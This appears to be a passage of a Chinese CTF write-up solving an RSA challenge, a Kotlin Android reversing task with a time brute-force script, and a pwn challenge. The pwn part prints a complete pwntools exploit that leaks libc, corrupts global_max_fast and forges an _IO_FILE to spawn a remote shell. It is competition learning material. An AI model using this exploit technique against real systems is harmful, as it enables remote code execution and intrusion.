e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N = p*q
print(N == 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929)
phi = (p-1) * (q-1)
d = inverse_mod(e, phi)
print(pow(c, d, N))
然后丢进python里long_to_bytes一下拿到flag:
flag:01d_Curs3_c4Me_Again
Accelerate your time
看到附件给了apk,啪的一下就点进来了,很快啊(x
是个kotlin写的apk,以前没逆什么kotlin的经验,一通瞎做搞出来的orz
直接用jeb看(类似于看平时apk的java层),翻包名看到flag,感觉是个重点包,定位到主行为函数
可以看到很明显的check,是把当前的时间做了一个md5塞进大括号里,再拼上用户名和密码,最后再做一个md5跟已知字符串比较。这里的md5取的是[8:24]↓
hour我直接大胆猜测是4,前面看到有特判
min和sec没看到特判,但是60*60的空间完全可以爆破
username和password的xor联系在LoginDataSource里,并且username == trandmark
安卓包的字符串内容是写在res/strings.xml里面的,只要拿到name就可以拿到trandmark的内容:
用户名是Android,密码可以异或得到,md5的结果同样在strings.xml中,须做id->name、name->content的映射
flag就可以出来了,爆破分秒写exp:(其实感觉这题才应该叫TimeTravel才对= =只能在特定时间拿到flag嘛)
from hashlib import md5
#username^password
xorarr = [6, 28, 1, 19, 27, 5, 29]
username = "Android"
password = ""
for i in range(len(xorarr)):
password += chr(ord(username[i]) ^ xorarr[i])
hashstr_8_23 = "1a9852e856816224"
h = str(4)
for m in range(60):
for s in range(60):
flag = "flag{" + md5((h+str(m)+str(s)).encode()).hexdigest()[8:24] + "}" + username + password
if md5(flag.encode()).hexdigest()[8:24] == hashstr_8_23:
print(flag)
flag:80d0169d22da3c35
PWN
送分题
送分题真的是送分题啊,看到做题的人异常地多,于是去找原题,发现真的找到了wp
https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
# debug = 1
file_name = './pwn'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc_name = './libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'
# if debug:
# r = process(file_name)
# libc = ELF(libc_name)
# else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
# def debug():
# gdb.attach(r)
# raw_input()
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()
flag:5hen_m3_5hi_kuai_1e_xin9_Qiu